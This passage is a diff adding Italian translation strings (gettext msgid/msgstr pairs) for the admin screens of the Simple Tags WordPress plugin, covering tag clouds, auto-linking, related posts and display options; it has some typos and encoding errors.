+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:291
+#: /extras/simple-tags.importer.php:167
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "Se il tuo browser non carica la prossima pagina automaticamente fai click qui:"
+
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:291
+#: /extras/simple-tags.importer.php:167
+msgid "Next content"
+msgstr "Prossimo contenuto"
+
+#: /2.3/inc/simple-tags.admin.php:271
+msgid "All done!"
+msgstr "Finito!"
+
+#: /2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr "Includi questa pagine nella ricerca dei tag:"
+
+#: /2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "Questa funzionalitÃ  ha bisogno che l'opzione \"Aggiungi pagina nella gestione dei tag\" sia abilitata."
+
+#: /2.3/inc/simple-tags.admin.php:289
+#: /2.5/inc/simple-tags.admin.php:322
+msgid "Allow tag cloud in post/page content:"
+msgstr "Permette la visualizzazione della tag cloud nel contenuto della pagina"
+
+#: /2.3/inc/simple-tags.admin.php:290
+#: /2.5/inc/simple-tags.admin.php:323
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "Abilitandolo permette a Wordpress di cercare il marcatore <code>&lt;!--st_tag_cloud--&gt;</code> quando visualizza i post. Questo marcatore verrÃ  rimpiazzato con la tag cloud."
+
+#: /2.3/inc/simple-tags.admin.php:291
+#: /2.5/inc/simple-tags.admin.php:324
+msgid "Active auto link tags into post content:"
+msgstr "Attiva il collegamento automatico dei tags inel contenuto dei post:"
+
+#: /2.3/inc/simple-tags.admin.php:292
+#: /2.5/inc/simple-tags.admin.php:325
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "Esempio: se hai un tag che si chiama \"WordPress\" e il tuo post contiene la parola  \"wordpress\", questa opzione rimpiazzerÃ  \"wordpress\" con un link alla pagina dei tag  \"wordpress\" . (http://myblog.net/tag/wordpress/)"
+
+#: /2.3/inc/simple-tags.admin.php:293
+#: /2.5/inc/simple-tags.admin.php:326
+msgid "Min usage for auto link tags:"
+msgstr "Uos minimo per auto link tags:"
+
+#: /2.3/inc/simple-tags.admin.php:294
+#: /2.5/inc/simple-tags.admin.php:327
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr "Questo parametro permette di fissare il valore minimo per i tag. Default: 1."
+
+#: /2.3/inc/simple-tags.admin.php:295
+#: /2.5/inc/simple-tags.admin.php:328
+msgid "Ignore case for auto link feature ?"
+msgstr "Ignora maiuscole/minuscole per l'opzione auto link?"
+
+#: /2.3/inc/simple-tags.admin.php:296
+#: /2.5/inc/simple-tags.admin.php:329
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr "Esempio: se ignori maiuscole/minuscole l'opzione autolink rimpiazzerÃ  la parola \"wordpress\" con il collegamenteo al tag \"Wordpress\"."
+
+#: /2.3/inc/simple-tags.admin.php:297
+#: /2.5/inc/simple-tags.admin.php:330
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr "Agiungi rel=\"nofollow\" a ciascun collegamento ai tag?"
+
+#: /2.3/inc/simple-tags.admin.php:298
+#: /2.5/inc/simple-tags.admin.php:331
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr "Nofollow Ãš un attributo HTML non standard usato per spiegare ai motori di ricerca che un collegamento non deve influenzare il punteggio del sito collegato nell'indice del motore di ricerca."
+
+#: /2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr "Aggiungi na pagina nella gestione dei tag."
+
+#: /2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "Aggiungi l'inserimento dei tag ( e le opzioni di tagging) nella gestione delle pagine"
+
+#: /2.3/inc/simple-tags.admin.php:303
+#: /2.5/inc/simple-tags.admin.php:334
+msgid "Activate click tags feature:"
+msgstr "Attiva l'opzione delclik dei tag."
+
+#: /2.3/inc/simple-tags.admin.php:304
+#: /2.5/inc/simple-tags.admin.php:335
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr "Questa funzione aggiunge un collegamento che ti permette di visualizzare tutti i tag del tuo database. A questo punto potrai farci click sopra per aggiungere dei tag al tuo post."
+
+#: /2.3/inc/simple-tags.admin.php:305
+#: /2.5/inc/simple-tags.admin.php:336
+msgid "Activate autocompletion feature:"
+msgstr "Attiva la funzione di autocompletamento."
+
+#: /2.3/inc/simple-tags.admin.php:306
+#: /2.5/inc/simple-tags.admin.php:337
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr "Questa opzione mostra un aiuto visuale permettendo di inserire i tag piu facilmente."
+
+#: /2.3/inc/simple-tags.admin.php:307
+#: /2.5/inc/simple-tags.admin.php:338
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr "Attiva l'opzione Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+
+#: /2.3/inc/simple-tags.admin.php:308
+#: /2.5/inc/simple-tags.admin.php:339
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr "Questa opzione aggiunge un riquadro nel quale vengono suggeriti dei tag tenendo conto del contenuto del post e delle varie sorgenti dei tag (interni ed esterni)"
+
+#: /2.3/inc/simple-tags.admin.php:311
+#: /2.5/inc/simple-tags.admin.php:342
+msgid "Automatically include in header:"
+msgstr "Incluso automaticamente nell'header"
+
+#: /2.3/inc/simple-tags.admin.php:312
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr "Include nell'header automaticamente le meta parole chiavi ."
+
+#: /2.3/inc/simple-tags.admin.php:313
+#: /2.5/inc/simple-tags.admin.php:344
+msgid "Always add these keywords:"
+msgstr "Aggiungi sembre queste parole chiave."
+
+#: /2.3/inc/simple-tags.admin.php:314
+#: /2.5/inc/simple-tags.admin.php:345
+msgid "Max keywords display:"
+msgstr "Massimo numero di parole chiave mostrate."
+
+#: /2.3/inc/simple-tags.admin.php:315
+#: /2.5/inc/simple-tags.admin.php:346
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr "Devi inserire 0 (zero) per mostrare tutte le chiavi nell'header html."
+
+#: /2.3/inc/simple-tags.admin.php:318
+#: /2.5/inc/simple-tags.admin.php:349
+msgid "Use embedded tags:"
+msgstr "Usa i tag embedded"
+
+#: /2.3/inc/simple-tags.admin.php:319
+#: /2.5/inc/simple-tags.admin.php:350
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr "Abilitando questa voce permetterai a Wordpress, quando salva e visualizza i post,di cercare i tag embedded . Questo insieme di tag viene macato con <code>[tags]questo, e quest'altro[/tags]</code>, e viene  aggiunto al post quando questo viene salvato, ma non viene visulizzato nel post."
+
+#: /2.3/inc/simple-tags.admin.php:320
+#: /2.5/inc/simple-tags.admin.php:351
+msgid "Prefix for embedded tags:"
+msgstr "Prefisso per i tag embedded:"
+
+#: /2.3/inc/simple-tags.admin.php:321
+#: /2.5/inc/simple-tags.admin.php:352
+msgid "Suffix for embedded tags:"
+msgstr "Suffisso per i tag embedded:"
+
+#: /2.3/inc/simple-tags.admin.php:324
+#: /2.5/inc/simple-tags.admin.php:355
+msgid "Automatically display tags list into feeds"
+msgstr "Mostra automaticamente i tag nei feed."
+
+#: /2.3/inc/simple-tags.admin.php:325
+#: /2.5/inc/simple-tags.admin.php:356
+msgid "Automatically display tags list into post content:"
+msgstr "Mostra automaticamente i tag nel contenuto dei post."
+
+#: /2.3/inc/simple-tags.admin.php:327
+#: /2.3/inc/simple-tags.admin.php:351
+#: /2.5/inc/simple-tags.admin.php:358
+#: /2.5/inc/simple-tags.admin.php:382
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>no</code> &ndash; Da nessuna parte (default)"
+
+#: /2.3/inc/simple-tags.admin.php:328
+#: /2.3/inc/simple-tags.admin.php:352
+#: /2.5/inc/simple-tags.admin.php:359
+#: /2.5/inc/simple-tags.admin.php:383
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>all</code> &ndash; Nel tuo blog e nei feed."
+
+#: /2.3/inc/simple-tags.admin.php:329
+#: /2.3/inc/simple-tags.admin.php:353
+#: /2.5/inc/simple-tags.admin.php:360
+#: /2.5/inc/simple-tags.admin.php:384
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; Solo nel tuo blog."
+
+#: /2.3/inc/simple-tags.admin.php:330
+#: /2.3/inc/simple-tags.admin.php:354
+#: /2.5/inc/simple-tags.admin.php:361
+#: /2.5/inc/simple-tags.admin.php:385
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; Solo nella tua home page."
+
+#: /2.3/inc/simple-tags.admin.php:331
+#: /2.3/inc/simple-tags.admin.php:355
+#: /2.5/inc/simple-tags.admin.php:362
+#: /2.5/inc/simple-tags.admin.php:386
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; Solo Nelle viste singole (pagina e singolo post)."
+
+#: /2.3/inc/simple-tags.admin.php:332
+#: /2.3/inc/simple-tags.admin.php:356
+#: /2.5/inc/simple-tags.admin.php:363
+#: /2.5/inc/simple-tags.admin.php:387
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; Solo nella vista singola."
+
+#: /2.3/inc/simple-tags.admin.php:333
+#: /2.3/inc/simple-tags.admin.php:357
+#: /2.5/inc/simple-tags.admin.php:364
+#: /2.5/inc/simple-tags.admin.php:388
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>pageonly</code> &ndash; Solo nella vista pagina."
+
+#: /2.3/inc/simple-tags.admin.php:335
+#: /2.5/inc/simple-tags.admin.php:366
+msgid "Post tag separator string:"
+msgstr "Stinga di separazione dei tag nei post:"
+
+#: /2.3/inc/simple-tags.admin.php:336
+#: /2.5/inc/simple-tags.admin.php:367
+msgid "Text to display before tags list:"
+msgstr "Testo da mostrare prima della lista dei tag:"
+
+#: /2.3/inc/simple-tags.admin.php:337
+#: /2.5/inc/simple-tags.admin.php:368
+msgid "Text to display after tags list:"
+msgstr "Testo da mostrare dopo la lista dei tag:"
+
+#: /2.3/inc/simple-tags.admin.php:338
+#: /2.5/inc/simple-tags.admin.php:369
+msgid "Max tags display:"
+msgstr "Massima visualizzazione dei tag."
+
+#: /2.3/inc/simple-tags.admin.php:339
+#: /2.5/inc/simple-tags.admin.php:370
+msgid "You must set zero (0) for display all tags."
+msgstr "Deve essere 0 (zero) per mostrare tutti i tag."
+
+#: /2.3/inc/simple-tags.admin.php:340
+#: /2.5/inc/simple-tags.admin.php:371
+msgid "Include categories in result ?"
+msgstr "Includi le categorie nei risultati?"
+
+#: /2.3/inc/simple-tags.admin.php:341
+#: /2.3/inc/simple-tags.admin.php:448
+#: /2.5/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:479
+msgid "Tag link format:"
+msgstr "Formato dei collegamenti ai tag:"
+
+#: /2.3/inc/simple-tags.admin.php:342
+#: /2.3/inc/simple-tags.admin.php:370
+#: /2.3/inc/simple-tags.admin.php:398
+#: /2.3/inc/simple-tags.admin.php:416
+#: /2.3/inc/simple-tags.admin.php:449
+#: /2.5/inc/simple-tags.admin.php:373
+#: /2.5/inc/simple-tags.admin.php:401
+#: /2.5/inc/simple-tags.admin.php:429
+#: /2.5/inc/simple-tags.admin.php:447
+#: /2.5/inc/simple-tags.admin.php:480
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr "Poi trovare i markers e le istruzioni <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">nella documentazione on-line.</a>"
+
+#: /2.3/inc/simple-tags.admin.php:343
+#: /2.5/inc/simple-tags.admin.php:374
+msgid "Text to display if no tags found:"
+msgstr "Testo da mostrare se non viene trovato nessun tag:"
+
+#: /2.3/inc/simple-tags.admin.php:344
+#: /2.3/inc/simple-tags.admin.php:374
+#: /2.3/inc/simple-tags.admin.php:403
+#: /2.3/inc/simple-tags.admin.php:461
+#: /2.5/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:405
+#: /2.5/inc/simple-tags.admin.php:434
+#: /2.5/inc/simple-tags.admin.php:492
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>Utilizzo avanzato</strong>:"
+
+#: /2.3/inc/simple-tags.admin.php:345
+#: /2.5/inc/simple-tags.admin.php:376
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Puoi usare la stessa sintassi di <code>st_the_tags()</code> per personalizare la visualizzazione. Vai alla <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentazione</a> per maggiori dettagli."
+
+#: /2.3/inc/simple-tags.admin.php:348
+#: /2.5/inc/simple-tags.admin.php:379
+msgid "Automatically display related posts into feeds"
+msgstr "Mostra automaticamente nei feed i post correlati"
+
+#: /2.3/inc/simple-tags.admin.php:349
+#: /2.5/inc/simple-tags.admin.php:380
+msgid "Automatically display related posts into post content"
+msgstr "Mostra automaticamente nei post i post correlati."
+
+#: /2.3/inc/simple-tags.admin.php:359
+#: /2.5/inc/simple-tags.admin.php:390
+msgid "Related Posts Order:"
+msgstr "Ordine dei post correlati:"
+
+#: /2.3/inc/simple-tags.admin.php:361
+#: /2.5/inc/simple-tags.admin.php:392
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<code>date-asc</code> &ndash; Piu' vecchi."
+
+#: /2.3/inc/simple-tags.admin.php:362
+#: /2.5/inc/simple-tags.admin.php:393
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>date-desc</code> &ndash; Piu' recenti."
+
+#: /2.3/inc/simple-tags.admin.php:363
+#: /2.5/inc/simple-tags.admin.php:394
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>count-asc</code> &ndash; I tag meno usati nei post"
+
+#: /2.3/inc/simple-tags.admin.php:364
+#: /2.5/inc/simple-tags.admin.php:395
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>count-desc</code> &ndash;I tag piu usati nei post (default)"
+
+#: /2.3/inc/simple-tags.admin.php:365
+#: /2.3/inc/simple-tags.admin.php:383
+#: /2.3/inc/simple-tags.admin.php:430
+#: /2.3/inc/simple-tags.admin.php:438
+#: /2.5/inc/simple-tags.admin.php:396
+#: /2.5/inc/simple-tags.admin.php:414
+#: /2.5/inc/simple-tags.admin.php:461
+#: /2.5/inc/simple-tags.admin.php:469
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>name-asc</code> &ndash; Alfabeticol."
+
+#: /2.3/inc/simple-tags.admin.php:366
+#: /2.3/inc/simple-tags.admin.php:384
+#: /2.3/inc/simple-tags.admin.php:431
+#: /2.3/inc/simple-tags.admin.php:439
+#: /2.5/inc/simple-tags.admin.php:397
+#: /2.5/inc/simple-tags.admin.php:415
+#: /2.5/inc/simple-tags.admin.php:462
+#: /2.5/inc/simple-tags.admin.php:470
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>name-desc</code> &ndash; Alfabetico inverso."
+
+#: /2.3/inc/simple-tags.admin.php:367
+#: /2.3/inc/simple-tags.admin.php:385
+#: /2.3/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:398
+#: /2.5/inc/simple-tags.admin.php:416
+#: /2.5/inc/simple-tags.admin.php:463
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>random</code> &ndash; Random."
+
+#: /2.3/inc/simple-tags.admin.php:369
+#: /2.5/inc/simple-tags.admin.php:400
+msgid "Post link format:"
+msgstr "Formato dei link dei post:"
+
+#: /2.3/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:402
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "Numero massimo di post correlati da visualizzare: (default:5)"
+
+#: /2.3/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:403
+msgid "Enter the text to show when there is no related post:"
+msgstr "Inserisci il testo da mostrare quando non ci sono post correlati:"
+
+#: /2.3/inc/simple-tags.admin.php:373
+#: /2.3/inc/simple-tags.admin.php:402
+#: /2.3/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:404
+#: /2.5/inc/simple-tags.admin.php:433
+#: /2.5/inc/simple-tags.admin.php:483
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "Inserisci il titolo da posizionare prima della lista, lascia vuoto per nessun titolo:"
+
+#: /2.3/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:406
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Puoi usare la stessa sintassi della funzione<code>st_related_posts()</code>per personalizzare la visualizzazione. Vai alla <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentazione</a> per maggiori dettagli."
+
+#: /2.3/inc/simple-tags.admin.php:378
+#: /2.5/inc/simple-tags.admin.php:409
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr "Numero massimo di tag correlati da visualizzare: (default: 5)"
+
+#: /2.3/inc/simple-tags.admin.php:379
+#: /2.5/inc/simple-tags.admin.php:410
+msgid "Order related tags:"
+msgstr "Ordinamento dei tag correlai:"
+
+#: /2.3/inc/simple-tags.admin.php:381
+#: /2.3/inc/simple-tags.admin.php:428
+#: /2.3/inc/simple-tags.admin.php:436
+#: /2.5/inc/simple-tags.admin.php:412
+#: /2.5/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:467
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>count-asc</code> &ndash; Meno usati."
+
+#: /2.3/inc/simple-tags.admin.php:382
+#: /2.3/inc/simple-tags.admin.php:429
+#: /2.5/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:460
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>count-desc</code> &ndash; Piu usati. (default)"
+
+#: /2.3/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:418
+msgid "Related tags type format:"
+msgstr "Tipo di formato dei tag correlati:"
+
+#: /2.3/inc/simple-tags.admin.php:389
+#: /2.3/inc/simple-tags.admin.php:409
+#: /2.3/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:420
+#: /2.5/inc/simple-tags.admin.php:440
+#: /2.5/inc/simple-tags.admin.php:476
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr "<code>list</code> &ndash; Mostra come una lista formattata (ul/li)."
+
+#: /2.3/inc/simple-tags.admin.php:390
+#: /2.3/inc/simple-tags.admin.php:410
+#: /2.3/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:421
+#: /2.5/inc/simple-tags.admin.php:441
+#: /2.5/inc/simple-tags.admin.php:477
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr "<code>flat</code> &ndash; Mostra  inline (no list, solo un div)"
+
+#: /2.3/inc/simple-tags.admin.php:392
+#: /2.5/inc/simple-tags.admin.php:423
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr "Metodo dell'intersezione e unione dei tag per costruire i collecamenti dei tag correlati:"
+
+#: /2.3/inc/simple-tags.admin.php:394
+#: /2.5/inc/simple-tags.admin.php:425
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr "<code>OR</code> &ndash; Estrae i post con i tag \"Tag1\" <strong>oppure</strong> il tag \"Tag2\" . (default)"
+
+#: /2.3/inc/simple-tags.admin.php:395
+#: /2.5/inc/simple-tags.admin.php:426
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr "<code>AND</code> &ndash; Estrae i post con entrambi i tag \"Tag1\" <strong>e</strong>  \"Tag2\" ."
+
+#: /2.3/inc/simple-tags.admin.php:397
+#: /2.5/inc/simple-tags.admin.php:428
+msgid "Related tags link format:"
+msgstr "Formato dei collegamenti per i tag correlati:"
+
+#: /2.3/inc/simple-tags.admin.php:399
+#: /2.5/inc/simple-tags.admin.php:430
+msgid "Related tags separator:"
+msgstr "Separatore peri tag correlati:"
+
+#: /2.3/inc/simple-tags.admin.php:400
+#: /2.3/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:431
+#: /2.5/inc/simple-tags.admin.php:444
+msgid "Leave empty for list format."
+msgstr "Lasciare vuoto per il formato list"
+
+#: /2.3/inc/simple-tags.admin.php:401
+#: /2.5/inc/simple-tags.admin.php:432
+msgid "Enter the text to show when there is no related tags:"
+msgstr "Inserire il testo da mostrare quando non ci sono tag correlati:"
+
+#: /2.3/inc/simple-tags.admin.php:404
+#: /2.5/inc/simple-tags.admin.php:435
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Puoi usare la stessa sintassi della funzione  <code>st_related_tags()</code>per personalizzare la visualizzazione. Controlla la  <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentazione</a> per maggiori dettagli."
+
+#: /2.3/inc/simple-tags.admin.php:406
+#: /2.5/inc/simple-tags.admin.php:437
+msgid "Remove related Tags"
+msgstr "Elimina i tag correlati"
+
+#: /2.3/inc/simple-tags.admin.php:407
+#: /2.5/inc/simple-tags.admin.php:438
+msgid "Remove related Tags type format:"
+msgstr "tipo del formato di rimozione dei tag correlati:"
+
+#: /2.3/inc/simple-tags.admin.php:412
+#: /2.5/inc/simple-tags.admin.php:443
+msgid "Remove related tags separator:"
+msgstr "separatore della rimozione dei tag correlati:"
+
+#: /2.3/inc/simple-tags.admin.php:414
+#: /2.5/inc/simple-tags.admin.php:445
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr "Inserire il testo da mostrare se non ci sono tag correlati da rimuovere"
+
+#: /2.3/inc/simple-tags.admin.php:415
+#: /2.5/inc/simple-tags.admin.php:446
+msgid "Remove related tags  link format:"
+msgstr "Formato del collegamento per rimuovere i tag correlati"
+
+#: /2.3/inc/simple-tags.admin.php:419
+#: /2.5/inc/simple-tags.admin.php:450
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr "Che differenza tra<strong>&#8216;Order tags selection&#8217;</strong> e <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+
+#: /2.3/inc/simple-tags.admin.php:421
+#: /2.5/inc/simple-tags.admin.php:452
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr "<strong>&#8216;Order tags selection&#8217;</strong> Ãš il primo passo della generazione della tag cloud, corrispondente alla raccolta dei tag."
+
+#: /2.3/inc/simple-tags.admin.php:422
+#: /2.5/inc/simple-tags.admin.php:453
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr "<strong>&#8216;Order tags display&#8217;</strong> Ãš il secondo passo. Una volta che i tag vengono scelti, si possono mettere in ordine prima di venire visualizzati."
+
+#: /2.3/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:455
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>Esempio:</strong> Vuoi mostrare in ordine casuale i 100 tag piu usati.<br />"
+
+#: /2.3/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:456
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "Devi impostare &#8216;Order tags selection&#8217; a <strong>count-desc</strong> per estrarre i 100 tag piu usati e &#8216;Order tags display&#8217; a <strong>random</strong> per visualizzarli in maniera casuale."
+
+#: /2.3/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:457
+msgid "Order tags selection:"
+msgstr "Selezione dell'ordinamento dei tag"
+
+#: /2.3/inc/simple-tags.admin.php:434
+#: /2.3/inc/simple-tags.widgets.php:167
+#: /2.5/inc/simple-tags.admin.php:465
+#: /2.5/inc/simple-tags.widgets.php:155
+msgid "Order tags display:"
+msgstr "Ordinamento di visualizzazione:"
+
+#: /2.3/inc/simple-tags.admin.php:437
+#: /2.5/inc/simple-tags.admin.php:468
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr "<code>count-desc</code> &ndash; Piu' usati."
+
+#: /2.3/inc/simple-tags.admin.php:440
+#: /2.5/inc/simple-tags.admin.php:471
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>random</code> &ndash; Random. (default)"
+
+#: /2.3/inc/simple-tags.admin.php:442
+#: /2.5/inc/simple-tags.admin.php:473
+msgid "Include categories in tag cloud ?"
+msgstr "Includi le categorie nella tag cloud?"
+
+#: /2.3/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:474
+msgid "Tags cloud type format:"
+msgstr "Tipo di formato della tag cloudt:"
+
+#: /2.3/inc/simple-tags.admin.php:450
+#: /2.5/inc/simple-tags.admin.php:481
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "Nuomero massimo di tag da mostrare: (default: 45)"
+
+#: /2.3/inc/simple-tags.admin.php:451
+#: /2.5/inc/simple-tags.admin.php:482
+msgid "Enter the text to show when there is no tag:"
+msgstr "Inserire il testo da mostrare se non ci sono tag:"
+
+#: /2.3/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:484
+msgid "Most popular color:"
+msgstr "Il colore per il piu usato"
+
+#: /2.3/inc/simple-tags.admin.php:454
+#: /2.5/inc/simple-tags.admin.php:485
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "I colorosono espressi in esadecimale, e devono essere di 6 caratteri (#eee non Ãš valido utilizzate #eeeeeeee)."
+
+#: /2.3/inc/simple-tags.admin.php:455
+#: /2.5/inc/simple-tags.admin.php:486
+msgid "Least popular color:"
+msgstr "Colore per il meno usato"
+
+#: /2.3/inc/simple-tags.admin.php:456
+#: /2.5/inc/simple-tags.admin.php:487
+msgid "Most popular font size:"
+msgstr "Dimensione del carattere per il piu usato."
+
+#: /2.3/inc/simple-tags.admin.php:457
+#: /2.5/inc/simple-tags.admin.php:488
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "Le due dimensioni di carattere sono le dimensioni del tag piu grande e del tag piu piccolo."
+
+#: /2.3/inc/simple-tags.admin.php:458
+#: /2.5/inc/simple-tags.admin.php:489
+msgid "Least popular font size:"
+msgstr "Dimensione del carattere del tag meno usato"
+
+#: /2.3/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:490
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "Il tipo di unita di misura del font nelle tag cloud:"
+
+#: /2.3/inc/simple-tags.admin.php:460
+#: /2.5/inc/simple-tags.admin.php:491
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "L' unita di misura del carattere determina l'unita di misura che verrÃ  usata per i le due dimensioni del carattere."
+
+#: /2.3/inc/simple-tags.admin.php:462
+#: /2.5/inc/simple-tags.admin.php:493
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Puoi usare la stessa sintassi della funzione <code>st_tag_cloud()</code> per personalizzare la visualizzazione. Controla nella <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentazione</a> per maggiori dettagli."
+
+#: /2.3/inc/simple-tags.admin.php:476
+#: /2.5/inc/simple-tags.admin.php:507
+msgid "Options saved"
+msgstr "Opzioni salvate"
+
+#: /2.3/inc/simple-tags.admin.php:480
+#: /2.5/inc/simple-tags.admin.php:511
+msgid "Simple Tags options resetted to default options!"
+msgstr "Le opzioni di Simple Tags sono state riportate ai valori di partenza."
+
+#: /2.3/inc/simple-tags.admin.php:486
+#: /2.5/inc/simple-tags.admin.php:517
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr "Tutte le opzioni di Simple Tags sono state cancellate !  <a href=\"%s\">disabilta il plugin</a>  adesso !"
+
+#: /2.3/inc/simple-tags.admin.php:526
+#: /2.3/inc/simple-tags.admin.php:550
+msgid "Update Options &raquo;"
+msgstr "Aggiorna le opzioni &raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:527
